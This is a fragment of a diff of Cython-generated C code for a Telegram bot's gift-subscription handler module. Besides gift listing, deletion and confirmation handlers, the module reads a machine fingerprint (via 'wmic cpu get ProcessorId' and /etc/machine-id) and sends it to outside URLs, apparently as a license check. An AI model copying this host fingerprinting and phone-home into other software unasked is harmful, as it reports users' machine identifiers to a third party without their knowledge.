sizeof(__pyx_k_warning), 0, 0, 1, 1}, {&__pyx_kp_u_wmic_cpu_get_ProcessorId, __pyx_k_wmic_cpu_get_ProcessorId, sizeof(__pyx_k_wmic_cpu_get_ProcessorId), 0, 1, 0, 0}, {0, 0, 0, 0, 0, 0, 0} }; @@ -13229,7 +13780,7 @@ static int __Pyx_CreateStringTabAndInitStrings(void) { } /* #### Code section: cached_builtins ### */ static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { - __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 330, __pyx_L1_error) + __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 332, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; @@ -13240,92 +13791,88 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - __pyx_tuple__2 = PyTuple_Pack(2, __pyx_n_u_img, __pyx_kp_u_gifts_jpg); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_tuple__2 = PyTuple_Pack(2, __pyx_n_u_img, __pyx_kp_u_gifts_jpg); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); - __pyx_tuple__25 = PyTuple_Pack(1, __pyx_kp_u__24); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 186, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__25); - __Pyx_GIVEREF(__pyx_tuple__25); + __pyx_tuple__23 = PyTuple_Pack(1, __pyx_kp_u__22); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 188, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__23); + __Pyx_GIVEREF(__pyx_tuple__23); - __pyx_tuple__33 = PyTuple_Pack(2, __pyx_n_u_gift_3, __pyx_kp_u__32); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 282, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__33); - __Pyx_GIVEREF(__pyx_tuple__33); + __pyx_tuple__31 = PyTuple_Pack(2, __pyx_n_u_gift_3, __pyx_kp_u__30); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 284, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); - __pyx_tuple__38 = PyTuple_Pack(1, __pyx_kp_u_wmic_cpu_get_ProcessorId); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 328, __pyx_L1_error) + __pyx_tuple__36 = PyTuple_Pack(1, __pyx_kp_u_wmic_cpu_get_ProcessorId); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 330, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + + __pyx_tuple__38 = PyTuple_Pack(1, __pyx_kp_u_etc_machine_id); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 332, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_tuple__39 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 332, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__39); + __Pyx_GIVEREF(__pyx_tuple__39); - __pyx_tuple__40 = PyTuple_Pack(1, __pyx_kp_u_etc_machine_id); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 330, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__40); - __Pyx_GIVEREF(__pyx_tuple__40); - __pyx_tuple__41 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 330, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__41); - __Pyx_GIVEREF(__pyx_tuple__41); + __pyx_tuple__45 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_is_valid, __pyx_n_s_builder, __pyx_n_s_image_path); if (unlikely(!__pyx_tuple__45)) __PYX_ERR(0, 34, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__45); + __Pyx_GIVEREF(__pyx_tuple__45); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__45, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_start_menu_handler, 34, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 34, __pyx_L1_error) - __pyx_tuple__44 = PyTuple_Pack(1, __pyx_kp_u_https_pocomacho_ru_solonetbot_co); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 356, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__44); - __Pyx_GIVEREF(__pyx_tuple__44); - - __pyx_tuple__47 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_is_valid, __pyx_n_s_builder, __pyx_n_s_image_path); if (unlikely(!__pyx_tuple__47)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_tuple__46 = PyTuple_Pack(1, __pyx_n_u_my_gifts); if (unlikely(!__pyx_tuple__46)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__46); + __Pyx_GIVEREF(__pyx_tuple__46); + __pyx_tuple__47 = PyTuple_Pack(19, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_user_tg_id, __pyx_n_s_data_parts, __pyx_n_s_current_page, __pyx_n_s_gifts, __pyx_n_s_builder, __pyx_n_s_start, __pyx_n_s_end, __pyx_n_s_gifts_page, __pyx_n_s_gifts_text, __pyx_n_s_gift, __pyx_n_s_months, __pyx_n_s_months_text, __pyx_n_s_is_used, __pyx_n_s_recipient, __pyx_n_s_expiry_time, __pyx_n_s_gift_link, __pyx_n_s_gift_id); if (unlikely(!__pyx_tuple__47)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__47); __Pyx_GIVEREF(__pyx_tuple__47); - __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__47, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_start_menu_handler, 32, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 19, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__47, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_my_gifts_handler, 57, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 57, __pyx_L1_error) - __pyx_tuple__48 = PyTuple_Pack(1, __pyx_n_u_my_gifts); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_tuple__48 = PyTuple_Pack(1, __pyx_kp_u_delete_gift); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__48); __Pyx_GIVEREF(__pyx_tuple__48); - __pyx_tuple__49 = PyTuple_Pack(19, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_user_tg_id, __pyx_n_s_data_parts, __pyx_n_s_current_page, __pyx_n_s_gifts, __pyx_n_s_builder, __pyx_n_s_start, __pyx_n_s_end, __pyx_n_s_gifts_page, __pyx_n_s_gifts_text, __pyx_n_s_gift, __pyx_n_s_months, __pyx_n_s_months_text, __pyx_n_s_is_used, __pyx_n_s_recipient, __pyx_n_s_expiry_time, __pyx_n_s_gift_link, __pyx_n_s_gift_id); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_tuple__49 = PyTuple_Pack(5, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_data, __pyx_n_s_gift_id, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__49); __Pyx_GIVEREF(__pyx_tuple__49); - __pyx_codeobj__3 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 19, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__49, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_my_gifts_handler, 55, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__3)) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_codeobj__14 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__49, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_delete_gift_handler, 139, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__14)) __PYX_ERR(0, 139, __pyx_L1_error) - __pyx_tuple__50 = PyTuple_Pack(1, __pyx_kp_u_delete_gift); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_tuple__50 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_builder, __pyx_n_s_months, __pyx_n_s_price); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__50); __Pyx_GIVEREF(__pyx_tuple__50); - __pyx_tuple__51 = PyTuple_Pack(5, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_data, __pyx_n_s_gift_id, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__50, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_gift_subscription_handler, 158, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 158, __pyx_L1_error) + + __pyx_tuple__51 = PyTuple_Pack(1, __pyx_kp_u_gift_2); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__51); __Pyx_GIVEREF(__pyx_tuple__51); - __pyx_codeobj__15 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__51, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_delete_gift_handler, 137, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__15)) __PYX_ERR(0, 137, __pyx_L1_error) - - __pyx_tuple__52 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_builder, __pyx_n_s_months, __pyx_n_s_price); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_tuple__52 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_user_tg_id, __pyx_n_s_balance, __pyx_n_s_builder, __pyx_n_s_confirmation_text); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); - __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_gift_subscription_handler, 156, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_confirm_gift_handler, 180, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 180, __pyx_L1_error) - __pyx_tuple__53 = PyTuple_Pack(1, __pyx_kp_u_gift_2); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_tuple__53 = PyTuple_Pack(1, __pyx_kp_u_confirm_gift); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__53); __Pyx_GIVEREF(__pyx_tuple__53); - __pyx_tuple__54 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_user_tg_id, __pyx_n_s_balance, __pyx_n_s_builder, __pyx_n_s_confirmation_text); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_tuple__54 = PyTuple_Pack(14, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_tg_id, __pyx_n_s_expiry_time, __pyx_n_s_gift_id, __pyx_n_s_gift_link, __pyx_n_s_months_text, __pyx_n_s_message_text, __pyx_n_s_builder, __pyx_n_s_share_text, __pyx_n_s_e); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); - __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_confirm_gift_handler, 178, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 14, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_finalize_gift_handler, 220, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 220, __pyx_L1_error) - __pyx_tuple__55 = PyTuple_Pack(1, __pyx_kp_u_confirm_gift); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_tuple__55 = PyTuple_Pack(1, __pyx_n_u_gift_3); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__55); __Pyx_GIVEREF(__pyx_tuple__55); - __pyx_tuple__56 = PyTuple_Pack(14, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_tg_id, __pyx_n_s_expiry_time, __pyx_n_s_gift_id, __pyx_n_s_gift_link, __pyx_n_s_months_text, __pyx_n_s_message_text, __pyx_n_s_builder, __pyx_n_s_share_text, __pyx_n_s_e); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_tuple__56 = PyTuple_Pack(12, __pyx_n_s_inline_query, __pyx_n_s_session, __pyx_n_s_gift_id, __pyx_n_s_query, __pyx_n_s_gift, __pyx_n_s_gift_link, __pyx_n_s_months, __pyx_n_s_expiry_time, __pyx_n_s_message_text, __pyx_n_s_builder, __pyx_n_s_result, __pyx_n_s_e); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); - __pyx_codeobj__27 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 14, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__56, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_finalize_gift_handler, 218, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__27)) __PYX_ERR(0, 218, __pyx_L1_error) + __pyx_codeobj__29 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__56, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_inline_gift_handler, 280, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__29)) __PYX_ERR(0, 280, __pyx_L1_error) - __pyx_tuple__57 = PyTuple_Pack(1, __pyx_n_u_gift_3); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_tuple__57 = PyTuple_Pack(3, __pyx_n_s_result, __pyx_n_s_f, __pyx_n_s_hardware_id); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__57); __Pyx_GIVEREF(__pyx_tuple__57); - __pyx_tuple__58 = PyTuple_Pack(12, __pyx_n_s_inline_query, __pyx_n_s_session, __pyx_n_s_gift_id, __pyx_n_s_query, __pyx_n_s_gift, __pyx_n_s_gift_link, __pyx_n_s_months, __pyx_n_s_expiry_time, __pyx_n_s_message_text, __pyx_n_s_builder, __pyx_n_s_result, __pyx_n_s_e); if (unlikely(!__pyx_tuple__58)) __PYX_ERR(0, 278, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__58); - __Pyx_GIVEREF(__pyx_tuple__58); - __pyx_codeobj__31 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 12, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__58, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_inline_gift_handler, 278, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__31)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_codeobj__58 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__57, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_get_hardware_id, 324, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__58)) __PYX_ERR(0, 324, __pyx_L1_error) - __pyx_tuple__59 = PyTuple_Pack(3, __pyx_n_s_result, __pyx_n_s_f, __pyx_n_s_hardware_id); if (unlikely(!__pyx_tuple__59)) __PYX_ERR(0, 322, __pyx_L1_error) + __pyx_tuple__59 = PyTuple_Pack(11, __pyx_n_s_hardware_id, __pyx_n_s_urls, __pyx_n_s_payload, __pyx_n_s_timeout, __pyx_n_s_all_failed, __pyx_n_s_session, __pyx_n_s_url, __pyx_n_s_response, __pyx_n_s_data, __pyx_n_s_status, __pyx_n_s_e); if (unlikely(!__pyx_tuple__59)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__59); __Pyx_GIVEREF(__pyx_tuple__59); - __pyx_codeobj__60 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__59, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_get_hardware_id, 322, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__60)) __PYX_ERR(0, 322, __pyx_L1_error) - - __pyx_tuple__61 = PyTuple_Pack(6, __pyx_n_s_hardware_id, __pyx_n_s_timeout, __pyx_n_s_session, __pyx_n_s_payload, __pyx_n_s_response, __pyx_n_s_data); if (unlikely(!__pyx_tuple__61)) __PYX_ERR(0, 341, __pyx_L1_error) - __Pyx_GOTREF(__pyx_tuple__61); - __Pyx_GIVEREF(__pyx_tuple__61); - __pyx_codeobj__42 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__61, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_validate_client_code, 341, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__42)) __PYX_ERR(0, 341, __pyx_L1_error) + __pyx_codeobj__40 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__59, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_validate_client_code, 343, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__40)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; @@ -13397,15 +13944,15 @@ static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)) __PYX_ERR(0, 32, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler)) __PYX_ERR(0, 34, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 34, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 32, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler) < 0) __PYX_ERR(0, 34, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler->tp_print = 0; @@ -13416,15 +13963,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)) __PYX_ERR(0, 55, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 55, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler)) __PYX_ERR(0, 57, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 57, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 55, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler) < 0) __PYX_ERR(0, 57, __pyx_L1_error) #endif #if PY_MAJOR_VERSION < 3 __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler->tp_print = 0; @@ -13435,15 +13982,15 @@ static int __Pyx_modinit_type_init_code(void) { } #endif #if CYTHON_USE_TYPE_SPECS - __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler)) __PYX_ERR(0, 137, __pyx_L1_error) - if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler)) __PYX_ERR(0, 139, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler_spec, __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler) < 0) __PYX_ERR(0, 139, __pyx_L1_error) #else __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler = &__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler; #endif #if !CYTHON_COMPILING_IN_LIMITED_API #endif #if !CYTHON_USE_TYPE_SPECS - if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_delete_gift_handler) < 0) __PYX_ERR(0, 139, __pyx_L1_error) #endif #if PY_MAJOR_VERSION 